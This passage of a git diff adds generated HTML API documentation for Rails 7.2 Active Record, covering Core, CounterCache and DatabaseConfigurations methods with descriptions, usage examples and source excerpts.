+  ActiveRecord::Base.current_role #=> :reading
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 158
+      def self.current_role
+        connected_to_stack.reverse_each do |hash|
+          return hash[:role] if hash[:role] && hash[:klasses].include?(Base)
+          return hash[:role] if hash[:role] && hash[:klasses].include?(connection_class_for_self)
+        end
+
+        default_role
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + current_shard() + +

+ + +
+

Returns the symbol representing the current connected shard.

+ +
ActiveRecord::Base.connected_to(role: :reading) do
+  ActiveRecord::Base.current_shard #=> :default
+end
+
+ActiveRecord::Base.connected_to(role: :writing, shard: :one) do
+  ActiveRecord::Base.current_shard #=> :one
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 176
+      def self.current_shard
+        connected_to_stack.reverse_each do |hash|
+          return hash[:shard] if hash[:shard] && hash[:klasses].include?(Base)
+          return hash[:shard] if hash[:shard] && hash[:klasses].include?(connection_class_for_self)
+        end
+
+        default_shard
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + destroy_association_async_batch_size + +

+ + +
+

Specifies the maximum number of records that will be destroyed in a single background job by the dependent: :destroy_async association option. When nil (default), all dependent records will be destroyed in a single background job. If specified, the records to be destroyed will be split into multiple background jobs.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 47
+      class_attribute :destroy_association_async_batch_size, instance_writer: false, instance_predicate: false, default: nil
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + destroy_association_async_job() + +

+ + +
+

The job class used to destroy associations in the background.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 27
+      def self.destroy_association_async_job
+        if _destroy_association_async_job.is_a?(String)
+          self._destroy_association_async_job = _destroy_association_async_job.constantize
+        end
+        _destroy_association_async_job
+      rescue NameError => error
+        raise NameError, "Unable to load destroy_association_async_job: #{error.message}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + enumerate_columns_in_select_statements + +

+ + +
+

Force enumeration of all columns in SELECT statements. e.g. SELECT first_name, last_name FROM ... instead of SELECT * FROM ... This avoids PreparedStatementCacheExpired errors when a column is added to the database while the app is running.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 87
+      class_attribute :enumerate_columns_in_select_statements, instance_accessor: false, default: false
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + logger + +

+ + +
+

Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling logger on either an Active Record model class or an Active Record model instance.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 22
+      class_attribute :logger, instance_writer: false
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(attributes = nil) + +

+ + +
+

New objects can be instantiated as either empty (pass no construction parameter) or pre-set with attributes but not yet saved (pass a hash with key names matching the associated table column names). In both instances, valid attribute keys are determined by the column names of the associated table – hence you can’t have attributes that aren’t part of the table columns.

+ +

Example

+ +
# Instantiates a single new object
+User.new(first_name: 'Jamie')
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 463
+    def initialize(attributes = nil)
+      @new_record = true
+      @attributes = self.class._default_attributes.deep_dup
+
+      init_internals
+      initialize_internals_callback
+
+      super
+
+      yield self if block_given?
+      _run_initialize_callbacks
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + <=>(other_object) + +

+ + +
+

Allows sort on objects

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 650
+    def <=>(other_object)
+      if other_object.is_a?(self.class)
+        to_key <=> other_object.to_key
+      else
+        super
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ==(comparison_object) + +

+ + +
+

Returns true if comparison_object is the same exact object, or comparison_object is of the same type and self has an ID and it is equal to comparison_object.id.

+ +

Note that new records are different from any other record by definition, unless the other record is the receiver itself. Besides, if you fetch existing records with select and leave the ID out, you’re on your own, this predicate will return false.

+ +

Note also that destroying a record preserves its ID in the model instance, so deleted models are still comparable.

+
+ + + +
+ Also aliased as: eql? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 616
+    def ==(comparison_object)
+      super ||
+        comparison_object.instance_of?(self.class) &&
+        primary_key_values_present? &&
+        comparison_object.id == id
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clone + +

+ + +
+

Identical to Ruby’s clone method. This is a β€œshallow” copy. Be warned that your attributes are not copied. That means that modifying attributes of the clone will modify the original, since they will both point to the same attributes hash. If you need a copy of your attributes hash, please use the dup method.

+ +
user = User.first
+new_user = user.clone
+user.name               # => "Bob"
+new_user.name = "Joe"
+user.name               # => "Joe"
+
+user.object_id == new_user.object_id            # => false
+user.name.object_id == new_user.name.object_id  # => true
+
+user.name.object_id == user.dup.name.object_id  # => false
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + connection_handler() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 735
+    def connection_handler
+      self.class.connection_handler
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dup + +

+ + +
+

Duped objects have no id assigned and are treated as new records. Note that this is a β€œshallow” copy as it copies the object’s attributes only, not its associations. The extent of a β€œdeep” copy is application specific and is therefore left to the application to implement according to its need. The dup method does not preserve the timestamps (created|updated)_(at|on) and locking column.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + encode_with(coder) + +

+ + +
+

Populate coder with attributes about this record that should be serialized. The structure of coder defined in this method is guaranteed to match the structure of coder passed to the init_with method.

+ +

Example:

+ +
class Post < ActiveRecord::Base
+end
+coder = {}
+Post.new.encode_with(coder)
+coder # => {"attributes" => {"id" => nil, ... }}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 572
+    def encode_with(coder)
+      self.class.yaml_encoder.encode(@attributes, coder)
+      coder["new_record"] = new_record?
+      coder["active_record_yaml_version"] = 2
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + eql?(comparison_object) + +

+ + +
+ +
+ + + + + +
+ Alias for: == +
+ + + + +
+ +
+

+ + freeze() + +

+ + +
+

Clone and freeze the attributes hash such that associations are still accessible, even on destroyed records, but cloned models will not be frozen.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 639
+    def freeze
+      @attributes = @attributes.clone.freeze
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + frozen?() + +

+ + +
+

Returns true if the attributes hash has been frozen.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 645
+    def frozen?
+      @attributes.frozen?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + full_inspect() + +

+ + +
+

Returns all attributes of the record as a nicely formatted string, ignoring .attributes_for_inspect.

+ +
Post.first.full_inspect
+#=> "#<Post id: 1, title: "Hello, World!", published_at: "2023-10-23 14:28:11 +0000">"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 759
+    def full_inspect
+      inspect_with_attributes(all_attributes_for_inspect)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + hash() + +

+ + +
+

Delegates to id in order to allow two records of the same type and id to work with something like:

+ +
[ Person.find(1), Person.find(2), Person.find(3) ] & [ Person.find(1), Person.find(4) ] # => [ Person.find(1) ]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 626
+    def hash
+      id = self.id
+
+      if primary_key_values_present?
+        self.class.hash ^ id.hash
+      else
+        super
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + init_with(coder, &block) + +

+ + +
+

Initialize an empty model object from coder. coder should be the result of previously encoding an Active Record model, using encode_with.

+ +
class Post < ActiveRecord::Base
+end
+
+old_post = Post.new(title: "hello world")
+coder = {}
+old_post.encode_with(coder)
+
+post = Post.allocate
+post.init_with(coder)
+post.title # => 'hello world'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 490
+    def init_with(coder, &block)
+      coder = LegacyYamlAdapter.convert(coder)
+      attributes = self.class.yaml_encoder.decode(coder)
+      init_with_attributes(attributes, coder["new_record"], &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inspect() + +

+ + +
+

Returns the attributes of the record as a nicely formatted string.

+ +
Post.first.inspect
+#=> "#<Post id: 1, title: "Hello, World!", published_at: "2023-10-23 14:28:11 +0000">"
+
+ +

The attributes can be limited by setting .attributes_for_inspect.

+ +
Post.attributes_for_inspect = [:id, :title]
+Post.first.inspect
+#=> "#<Post id: 1, title: "Hello, World!">"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 749
+    def inspect
+      inspect_with_attributes(attributes_for_inspect)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pretty_print(pp) + +

+ + +
+

Takes a PP and prettily prints this record to it, allowing you to get a nice result from pp record when pp is required.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 765
+    def pretty_print(pp)
+      return super if custom_inspect_method_defined?
+      pp.object_address_group(self) do
+        if @attributes
+          attr_names = attributes_for_inspect.select { |name| _has_attribute?(name.to_s) }
+          pp.seplist(attr_names, proc { pp.text "," }) do |attr_name|
+            attr_name = attr_name.to_s
+            pp.breakable " "
+            pp.group(1) do
+              pp.text attr_name
+              pp.text ":"
+              pp.breakable
+              value = attribute_for_inspect(attr_name)
+              pp.text value
+            end
+          end
+        else
+          pp.breakable " "
+          pp.text "not initialized"
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + readonly!() + +

+ + +
+

Marks this record as read only.

+ +
customer = Customer.first
+customer.readonly!
+customer.save # Raises an ActiveRecord::ReadOnlyRecord
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 731
+    def readonly!
+      @readonly = true
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + readonly?() + +

+ + +
+

Returns true if the record is read only.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 667
+    def readonly?
+      @readonly
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + slice(*methods) + + +

+ + +
+

Returns a hash of the given methods with their names as keys and returned values as values.

+ +
topic = Topic.new(title: "Budget", author_name: "Jason")
+topic.slice(:title, :author_name)
+=> { "title" => "Budget", "author_name" => "Jason" }
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + strict_loading!(value = true, mode: :all) + +

+ + +
+

Sets the record to strict_loading mode. This will raise an error if the record tries to lazily load an association.

+ +
user = User.first
+user.strict_loading! # => true
+user.address.city
+=> ActiveRecord::StrictLoadingViolationError
+user.comments.to_a
+=> ActiveRecord::StrictLoadingViolationError
+
+ +

Parameters

+
  • +

    value - Boolean specifying whether to enable or disable strict loading.

    +
  • +

    :mode - Symbol specifying strict loading mode. Defaults to :all. Using :n_plus_one_only mode will only raise an error if an association that will lead to an n plus one query is lazily loaded.

    +
+ +

Examples

+ +
user = User.first
+user.strict_loading!(false) # => false
+user.address.city # => "Tatooine"
+user.comments.to_a # => [#<Comment:0x00...]
+
+user.strict_loading!(mode: :n_plus_one_only)
+user.address.city # => "Tatooine"
+user.comments.to_a # => [#<Comment:0x00...]
+user.comments.first.ratings.to_a
+=> ActiveRecord::StrictLoadingViolationError
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 705
+    def strict_loading!(value = true, mode: :all)
+      unless [:all, :n_plus_one_only].include?(mode)
+        raise ArgumentError, "The :mode option must be one of [:all, :n_plus_one_only] but #{mode.inspect} was provided."
+      end
+
+      @strict_loading_mode = mode
+      @strict_loading = value
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + strict_loading?() + +

+ + +
+

Returns true if the record is in strict_loading mode.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 672
+    def strict_loading?
+      @strict_loading
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + strict_loading_all?() + +

+ + +
+

Returns true if the record uses strict_loading with :all mode enabled.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 722
+    def strict_loading_all?
+      @strict_loading_mode == :all
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + strict_loading_n_plus_one_only?() + +

+ + +
+

Returns true if the record uses strict_loading with :n_plus_one_only mode enabled.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 717
+    def strict_loading_n_plus_one_only?
+      @strict_loading_mode == :n_plus_one_only
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + values_at(*methods) + + +

+ + +
+

Returns an array of the values returned by the given methods.

+ +
topic = Topic.new(title: "Budget", author_name: "Jason")
+topic.values_at(:title, :author_name)
+=> ["Budget", "Jason"]
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Core/ClassMethods.html b/src/7.2/classes/ActiveRecord/Core/ClassMethods.html new file mode 100644 index 0000000000..0f5e884dee --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Core/ClassMethods.html @@ -0,0 +1,145 @@ +--- +title: ActiveRecord::Core::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + filter_attributes() + +

+ + +
+

Returns columns which shouldn’t be exposed while calling #inspect.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 337
+      def filter_attributes
+        if @filter_attributes.nil?
+          superclass.filter_attributes
+        else
+          @filter_attributes
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + filter_attributes=(filter_attributes) + +

+ + +
+

Specifies columns which shouldn’t be exposed while calling #inspect.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 346
+      def filter_attributes=(filter_attributes)
+        @inspection_filter = nil
+        @filter_attributes = filter_attributes
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Core/InspectionMask.html b/src/7.2/classes/ActiveRecord/Core/InspectionMask.html new file mode 100644 index 0000000000..9234f2f1fc --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Core/InspectionMask.html @@ -0,0 +1,107 @@ +--- +title: ActiveRecord::Core::InspectionMask +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + pretty_print(pp) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 826
+        def pretty_print(pp)
+          pp.text __getobj__
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/CounterCache.html b/src/7.2/classes/ActiveRecord/CounterCache.html new file mode 100644 index 0000000000..3355b385b7 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/CounterCache.html @@ -0,0 +1,73 @@ +--- +title: ActiveRecord::CounterCache +layout: default +--- +
+ +
+
+ +
+ +

Active Record Counter Cache

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/CounterCache/ClassMethods.html b/src/7.2/classes/ActiveRecord/CounterCache/ClassMethods.html new file mode 100644 index 0000000000..d010b1d884 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/CounterCache/ClassMethods.html @@ -0,0 +1,365 @@ +--- +title: ActiveRecord::CounterCache::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + decrement_counter(counter_name, id, by: 1, touch: nil) + +

+ + +
+

Decrement a numeric field by one, via a direct SQL update.

+ +

This works the same as increment_counter but reduces the column value by 1 instead of increasing it.

+ +

Parameters

+
  • +

    counter_name - The name of the field that should be decremented.

    +
  • +

    id - The id of the object that should be decremented or an array of ids.

    +
  • +

    :by - The amount by which to decrement the value. Defaults to 1.

    +
  • +

    :touch - Touch timestamp columns when updating. Pass true to touch updated_at and/or updated_on. Pass a symbol to touch that column or an array of symbols to touch just those ones.

    +
+ +

Examples

+ +
# Decrement the posts_count column for the record with an id of 5
+DiscussionBoard.decrement_counter(:posts_count, 5)
+
+# Decrement the posts_count column for the record with an id of 5
+by a specific amount.
+DiscussionBoard.decrement_counter(:posts_count, 5, by: 3)
+
+# Decrement the posts_count column for the record with an id of 5
+# and update the updated_at value.
+DiscussionBoard.decrement_counter(:posts_count, 5, touch: true)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/counter_cache.rb, line 178
+      def decrement_counter(counter_name, id, by: 1, touch: nil)
+        update_counters(id, counter_name => -by, touch: touch)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + increment_counter(counter_name, id, by: 1, touch: nil) + +

+ + +
+

Increment a numeric field by one, via a direct SQL update.

+ +

This method is used primarily for maintaining counter_cache columns that are used to store aggregate values. For example, a DiscussionBoard may cache posts_count and comments_count to avoid running an SQL query to calculate the number of posts and comments there are, each time it is displayed.

+ +

Parameters

+
  • +

    counter_name - The name of the field that should be incremented.

    +
  • +

    id - The id of the object that should be incremented or an array of ids.

    +
  • +

    :by - The amount by which to increment the value. Defaults to 1.

    +
  • +

    :touch - Touch timestamp columns when updating. Pass true to touch updated_at and/or updated_on. Pass a symbol to touch that column or an array of symbols to touch just those ones.

    +
+ +

Examples

+ +
# Increment the posts_count column for the record with an id of 5
+DiscussionBoard.increment_counter(:posts_count, 5)
+
+# Increment the posts_count column for the record with an id of 5
+# by a specific amount.
+DiscussionBoard.increment_counter(:posts_count, 5, by: 3)
+
+# Increment the posts_count column for the record with an id of 5
+# and update the updated_at value.
+DiscussionBoard.increment_counter(:posts_count, 5, touch: true)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/counter_cache.rb, line 148
+      def increment_counter(counter_name, id, by: 1, touch: nil)
+        update_counters(id, counter_name => by, touch: touch)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset_counters(id, *counters, touch: nil) + +

+ + +
+

Resets one or more counter caches to their correct value using an SQL count query. This is useful when adding new counter caches, or if the counter has been corrupted or modified directly by SQL.

+ +

Parameters

+
  • +

    id - The id of the object you wish to reset a counter on.

    +
  • +

    counters - One or more association counters to reset. Association name or counter name can be given.

    +
  • +

    :touch - Touch timestamp columns when updating. Pass true to touch updated_at and/or updated_on. Pass a symbol to touch that column or an array of symbols to touch just those ones.

    +
+ +

Examples

+ +
# For the Post with id #1, reset the comments_count
+Post.reset_counters(1, :comments)
+
+# Like above, but also touch the +updated_at+ and/or +updated_on+
+# attributes.
+Post.reset_counters(1, :comments, touch: true)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/counter_cache.rb, line 34
+      def reset_counters(id, *counters, touch: nil)
+        object = find(id)
+
+        updates = {}
+        counters.each do |counter_association|
+          has_many_association = _reflect_on_association(counter_association)
+          unless has_many_association
+            has_many = reflect_on_all_associations(:has_many)
+            has_many_association = has_many.find { |association| association.counter_cache_column && association.counter_cache_column.to_sym == counter_association.to_sym }
+            counter_association = has_many_association.plural_name if has_many_association
+          end
+          raise ArgumentError, "'#{name}' has no association called '#{counter_association}'" unless has_many_association
+
+          if has_many_association.is_a? ActiveRecord::Reflection::ThroughReflection
+            has_many_association = has_many_association.through_reflection
+          end
+
+          foreign_key  = has_many_association.foreign_key.to_s
+          child_class  = has_many_association.klass
+          reflection   = child_class._reflections.values.find { |e| e.belongs_to? && e.foreign_key.to_s == foreign_key && e.options[:counter_cache].present? }
+          counter_name = reflection.counter_cache_column
+
+          count_was = object.send(counter_name)
+          count = object.send(counter_association).count(:all)
+          updates[counter_name] = count if count != count_was
+        end
+
+        if touch
+          names = touch if touch != true
+          names = Array.wrap(names)
+          options = names.extract_options!
+          touch_updates = touch_attributes_with_time(*names, **options)
+          updates.merge!(touch_updates)
+        end
+
+        unscoped.where(primary_key => [object.id]).update_all(updates) if updates.any?
+
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update_counters(id, counters) + +

+ + +
+

A generic β€œcounter updater” implementation, intended primarily to be used by increment_counter and decrement_counter, but which may also be useful on its own. It simply does a direct SQL update for the record with the given ID, altering the given hash of counters by the amount given by the corresponding value:

+ +

Parameters

+
  • +

    id - The id of the object you wish to update a counter on or an array of ids.

    +
  • +

    counters - A Hash containing the names of the fields to update as keys and the amount to update the field by as values.

    +
  • +

    :touch option - Touch timestamp columns when updating. If attribute names are passed, they are updated along with updated_at/on attributes.

    +
+ +

Examples

+ +
# For the Post with id of 5, decrement the comments_count by 1, and
+# increment the actions_count by 1
+Post.update_counters 5, comments_count: -1, actions_count: 1
+# Executes the following SQL:
+# UPDATE posts
+#    SET comments_count = COALESCE(comments_count, 0) - 1,
+#        actions_count = COALESCE(actions_count, 0) + 1
+#  WHERE id = 5
+
+# For the Posts with id of 10 and 15, increment the comments_count by 1
+Post.update_counters [10, 15], comments_count: 1
+# Executes the following SQL:
+# UPDATE posts
+#    SET comments_count = COALESCE(comments_count, 0) + 1
+#  WHERE id IN (10, 15)
+
+# For the Posts with id of 10 and 15, increment the comments_count by 1
+# and update the updated_at value for each counter.
+Post.update_counters [10, 15], comments_count: 1, touch: true
+# Executes the following SQL:
+# UPDATE posts
+#    SET comments_count = COALESCE(comments_count, 0) + 1,
+#    `updated_at` = '2016-10-13T09:59:23-05:00'
+#  WHERE id IN (10, 15)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/counter_cache.rb, line 115
+      def update_counters(id, counters)
+        id = [id] if composite_primary_key? && id.is_a?(Array) && !id[0].is_a?(Array)
+        unscoped.where!(primary_key => id).update_counters(counters)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/DangerousAttributeError.html b/src/7.2/classes/ActiveRecord/DangerousAttributeError.html new file mode 100644 index 0000000000..0cb0c20ce3 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/DangerousAttributeError.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::DangerousAttributeError +layout: default +--- +
+ +
+
+ +
+ +

Raised when attribute has a name reserved by Active Record (when attribute has name of one of Active Record instance methods).

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/DatabaseAlreadyExists.html b/src/7.2/classes/ActiveRecord/DatabaseAlreadyExists.html new file mode 100644 index 0000000000..b3a467ce9e --- /dev/null +++ b/src/7.2/classes/ActiveRecord/DatabaseAlreadyExists.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::DatabaseAlreadyExists +layout: default +--- +
+ +
+
+ +
+ +

Raised when creating a database if it exists.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/DatabaseConfigurations.html b/src/7.2/classes/ActiveRecord/DatabaseConfigurations.html new file mode 100644 index 0000000000..04247a56cd --- /dev/null +++ b/src/7.2/classes/ActiveRecord/DatabaseConfigurations.html @@ -0,0 +1,412 @@ +--- +title: ActiveRecord::DatabaseConfigurations +layout: default +--- +
+ +
+
+ +
+ +

Active Record Database Configurations

+ +

ActiveRecord::DatabaseConfigurations returns an array of DatabaseConfig objects that are constructed from the application’s database configuration hash or URL string.

+ +

The array of DatabaseConfig objects in an application default to either a HashConfig or UrlConfig. You can retrieve your application’s config by using ActiveRecord::Base.configurations.

+ +

If you register a custom handler, objects will be created according to the conditions of the handler. See ::register_db_config_handler for more on registering custom handlers.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + configurations
+ + + + +

Class Public methods

+ +
+

+ + new(configurations = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations.rb, line 73
+    def initialize(configurations = {})
+      @configurations = build_configs(configurations)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + register_db_config_handler(&block) + +

+ + +
+

Allows an application to register a custom handler for database configuration objects. This is useful for creating a custom handler that responds to methods your application needs but Active Record doesn’t implement. For example if you are using Vitess, you may want your Vitess configurations to respond to β€˜sharded?`. To implement this define the following in an initializer:

+ +
ActiveRecord::DatabaseConfigurations.register_db_config_handler do |env_name, name, url, config|
+  next unless config.key?(:vitess)
+  VitessConfig.new(env_name, name, config)
+end
+
+ +

Note: applications must handle the condition in which custom config should be created in your handler registration otherwise all objects will use the custom handler.

+ +

Then define your VitessConfig to respond to the methods your application needs. It is recommended that you inherit from one of the existing database config classes to avoid having to reimplement all methods. Custom config handlers should only implement methods Active Record does not.

+ +
class VitessConfig < ActiveRecord::DatabaseConfigurations::UrlConfig
+  def sharded?
+    configuration_hash.fetch("sharded", false)
+  end
+end
+
+ +

For configs that have a :vitess key, a VitessConfig object will be created instead of a UrlConfig.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations.rb, line 61
+    def self.register_db_config_handler(&block)
+      db_config_handlers << block
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + blank?() + +

+ + +
+ +
+ + + + + +
+ Alias for: empty? +
+ + + + +
+ +
+

+ + configs_for(env_name: nil, name: nil, config_key: nil, include_hidden: false) + +

+ + +
+

Collects the configs for the environment and optionally the specification name passed in. To include replica configurations pass include_hidden: true.

+ +

If a name is provided a single DatabaseConfig object will be returned, otherwise an array of DatabaseConfig objects will be returned that corresponds with the environment and type requested.

+ +

Options

+
  • +

    env_name: The environment name. Defaults to nil which will collect configs for all environments.

    +
  • +

    name: The db config name (i.e. primary, animals, etc.). Defaults to nil. If no env_name is specified the config for the default env and the passed name will be returned.

    +
  • +

    config_key: Selects configs that contain a particular key in the configuration hash. Useful for selecting configs that use a custom db config handler or finding configs with hashes that contain a particular key.

    +
  • +

    include_hidden: Determines whether to include replicas and configurations hidden by database_tasks: false in the returned list. Most of the time we’re only iterating over the primary connections (i.e. migrations don’t need to run for the write and read connection). Defaults to false.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations.rb, line 98
+    def configs_for(env_name: nil, name: nil, config_key: nil, include_hidden: false)
+      env_name ||= default_env if name
+      configs = env_with_configs(env_name)
+
+      unless include_hidden
+        configs = configs.select do |db_config|
+          db_config.database_tasks?
+        end
+      end
+
+      if config_key
+        configs = configs.select do |db_config|
+          db_config.configuration_hash.key?(config_key)
+        end
+      end
+
+      if name
+        configs.find do |db_config|
+          db_config.name == name.to_s
+        end
+      else
+        configs
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + empty?() + +

+ + +
+

Checks if the application’s configurations are empty.

+
+ + + +
+ Also aliased as: blank? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations.rb, line 150
+    def empty?
+      configurations.empty?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_db_config(env) + +

+ + +
+

Returns a single DatabaseConfig object based on the requested environment.

+ +

If the application has multiple databases find_db_config will return the first DatabaseConfig for the environment.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/database_configurations.rb, line 127
+    def find_db_config(env)
+      env = env.to_s
+      configurations.find do |db_config|
+        db_config.for_current_env? && (db_config.env_name == env || db_config.name == env)
+      end || configurations.find do |db_config|
+        db_config.env_name == env
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/DatabaseConfigurations/HashConfig.html b/src/7.2/classes/ActiveRecord/DatabaseConfigurations/HashConfig.html new file mode 100644 index 0000000000..c49534eef0 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/DatabaseConfigurations/HashConfig.html @@ -0,0 +1,835 @@ +--- +title: ActiveRecord::DatabaseConfigurations::HashConfig +layout: default +--- +
+ +
+
+ +
+ +

Active Record Database Hash Config

+ +

A HashConfig object is created for each database configuration entry that is created from a hash.

+ +

A hash config:

+ +
{ "development" => { "database" => "db_name" } }
+
+ +

Becomes:

+ +
#<ActiveRecord::DatabaseConfigurations::HashConfig:0x00007fd1acbded10
+  @env_name="development", @name="primary", @config={database: "db_name"}>
+
+ +

See ActiveRecord::DatabaseConfigurations for more info.

+ +
